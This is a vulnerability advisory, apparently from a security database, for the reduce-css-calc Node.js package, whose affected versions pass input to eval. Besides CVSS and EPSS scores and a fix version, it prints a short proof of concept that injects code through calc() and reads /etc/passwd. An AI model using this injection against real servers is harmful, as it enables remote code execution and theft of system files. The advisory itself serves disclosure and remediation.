CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
56.6%
Affected versions of reduce-css-calc
pass input directly to eval
. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.
const reduceCSSCalc = require('reduce-css-calc');
console.log(reduceCSSCalc(`calc( (Buffer(10000)))`));
console.log(reduceCSSCalc(`calc( (global['fs'] = require('fs')))`));
console.log(reduceCSSCalc(`calc( (fs['readFileSync']("/etc/passwd", "utf-8")))`));
Update to version 1.2.5 or later.
Vendor | Product | Version | CPE |
---|---|---|---|
reduce-css-calc_project | reduce-css-calc | * | cpe:2.3:a:reduce-css-calc_project:reduce-css-calc:*:*:*:*:*:node.js:*:* |
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
56.6%